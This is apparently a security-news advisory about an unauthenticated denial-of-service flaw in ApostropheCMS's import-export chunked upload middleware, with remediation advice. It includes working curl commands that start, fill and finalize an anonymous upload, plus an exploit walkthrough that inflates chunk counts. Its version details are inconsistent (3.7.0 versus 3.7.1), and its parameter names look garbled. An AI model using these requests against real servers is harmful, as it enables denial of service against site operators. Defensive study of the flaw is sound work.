Listen to this Post
A potential unauthenticated denial-of-service vulnerability affects the chunked import upload path in @apostrophecms/import-export.
The issue arises because the import API routes invoke bigUploadMiddleware prior to any authentication checks.
Specifically, self.apos.http.bigUploadMiddleware() is executed without supplying an explicit authorize callback function.
Without this callback, unauthenticated remote attackers can directly interact with the aposBigUpload protocol.
Requests targeting start, chunk, and end upload operations are processed immediately by the middleware.
The actual authentication check using req.user only happens later in the downstream import handler methods.
Consequently, an unauthenticated attacker can create server-side upload state before authentication is enforced.
Attackers can also write chunk data directly into temporary server-side storage without possessing a valid session.
Furthermore, sending an end operation triggers temporary-file processing and storage initialization prematurely.
The vulnerability also introduces a severe cleanup amplification vector due to unchecked attacker input.
The declared chunks count parameter is fully controlled by the remote unauthenticated client during initialization.
During cleanup operations, bigUploadCleanupOne iterates from zero up to the attacker-supplied chunks value.
For each iteration, the application executes filesystem removal calls via ufs.remove without any upper bounds.
An attacker can specify an excessively large chunk count to amplify disk I/O and cleanup overhead.
Repeated requests can rapidly exhaust server resources, degrade service performance, and cause denial of service.
The root cause is misplaced authentication logic occurring downstream rather than upstream of the upload middleware.
The bigUploadMiddleware implementation explicitly supports an authorize callback to prevent such unauthorized usage.
Failing to pass this callback bypasses the intended security gatekeeper for chunked file uploads.
The affected confirmed version is 3.6.2, while earlier releases implementing big-upload imports are also vulnerable.
Exploiting this vulnerability requires zero privileges, network access, and no user interaction whatsoever.
The CVSS score for this vulnerability is 7.5, classifying it as a high-severity resource consumption issue.
Remediation requires enforcing authentication before any aposBigUpload operations are processed by the server.
Developers must pass an appropriate authorize callback to bigUploadMiddleware on all import routes.
Additionally, strict limits on declared chunk counts and file sizes must be enforced at initialization.
Validating uploaded data against declared metadata prevents arbitrary resource allocation and state creation.
Implementing proper rate limits and per-user storage quotas further mitigates potential denial-of-service abuse.
Ensuring temporary files are reliably removed upon downstream processing failures secures the storage pipeline.
Regression tests should be added to confirm anonymous requests are rejected before any filesystem or state work.
Upgrading to patched versions resolves the flaw by moving authentication checks ahead of chunk processing.
Securing these endpoints protects node processes from malicious resource exhaustion and stability loss.
DailyCVE Form:
Platform: ApostropheCMS import export
Version: 3.6.2
Vulnerability : Uncontrolled Resource Consumption
Severity: High
date: October 20, 2026
Prediction: Patched in 3.7.1
What Undercode Say:
Start an upload without authentication
curl -s -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[bash]=start' \
-H 'Content-Type: application/json' \
--data '{"files":{"file":{"name":"evil.tar.gz","size":4,"type":"application/gzip","chunks":1}}}'
Upload a chunk
printf 'PWN!' >/tmp/chunk.bin
curl -s -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[bash]=chunk&aposBigUpload[bash]=<ID>&aposBigUpload[bash]=0&aposBigUpload[bash]=0' \
-F 'chunk=@/tmp/chunk.bin;type=application/octet-stream'
Finalize the upload
curl -i -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[bash]=end&aposBigUpload[bash]=<ID>'
importExportImport: [
self.apos.http.bigUploadMiddleware(),
async (req) => {
return self.apos.modules['@apostrophecms/import-export']
.import(req, self.__meta.name);
}
]
Exploit: (Educational Purposes!)
An unauthenticated attacker initiates a chunked import upload by sending an HTTP POST request to the import route with aposBigUpload[bash]=start. The server processes the request and returns an upload ID without checking authentication. The attacker then uploads arbitrary chunks using aposBigUpload[bash]=chunk, populating server-side storage at /big-uploads/<id>-<n>-<chunk>. Finally, sending `aposBigUpload[bash]=end` triggers server-side temporary file processing and storage operations. Although the downstream import handler eventually rejects the request due to missing authentication (req.user), the heavy server-side processing, state creation, and cleanup amplification routines have already been executed. By manipulating the `chunks` count parameter to a large number (e.g., 50), the attacker forces the server to perform an equivalent number of filesystem removal operations (ufs.remove), leading to resource exhaustion and denial of service.
Protection: from this CVE
Require authentication before any `aposBigUpload` operation is processed by passing an appropriate `authorize` callback to `bigUploadMiddleware()` on all import routes.
Reject unauthenticated users prior to start, chunk, and `end` execution.
Enforce reasonable upper limits and validation on declared chunk counts and file sizes at upload initialization.
Introduce per-user and global storage and rate limits to prevent abuse.
Ensure temporary files and storage states are securely cleaned up when processing fails.
Upgrade the `@apostrophecms/import-export` package to fixed versions (3.7.0 and above).
Impact:
Uncontrolled resource consumption and denial of service via service degradation.
Creation of unauthenticated server-side upload state and temporary files.
Consumption of server disk space and upload storage.
Repeated and amplified filesystem I/O and cleanup operations driven by attacker-controlled chunk counts.
High severity (CVSS 7.5) operational disruption for affected Node.js deployments.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
